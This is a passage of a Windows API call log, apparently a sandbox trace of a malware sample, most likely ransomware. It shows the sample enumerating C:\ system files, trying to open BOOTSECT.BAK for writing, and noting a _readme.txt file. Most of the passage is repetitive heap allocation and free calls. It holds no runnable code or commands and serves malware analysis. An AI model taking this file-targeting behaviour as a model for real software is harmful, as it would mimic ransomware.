[0122.422] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0122.422] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.423] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0122.423] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0122.423] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0122.423] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.423] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.424] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc770 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.426] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.426] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 